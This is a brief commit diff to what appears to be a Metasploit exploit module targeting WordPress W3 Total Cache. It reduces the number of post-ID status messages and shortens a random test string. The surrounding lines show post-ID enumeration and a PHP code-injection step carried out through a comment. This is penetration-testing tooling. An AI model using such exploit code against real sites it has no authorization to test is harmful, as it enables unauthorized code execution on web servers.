Fix @jlee-r7's feedback

modules/exploits/unix/webapp/php_wordpress_total_cache.rb

@@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
 	def find_post_id
 		(1..1000).each{|id|
-			vprint_status("#{peer} - Checking POST ID #{id}...")
+			vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
 			res = check_post_id(normalize_uri(target_uri) + "/?p=#{id}")
 			return id if res
 		}
@@ -195,7 +195,7 @@ class Metasploit3 < Msf::Exploit::Remote
 			end
 		end
 
-		random_test = rand_text_alpha(4096)
+		random_test = rand_text_alpha(64)
 		@sum = Rex::Text.sha1(random_test)
 
 		print_status("#{peer} - Injecting the PHP Code throw a comment...")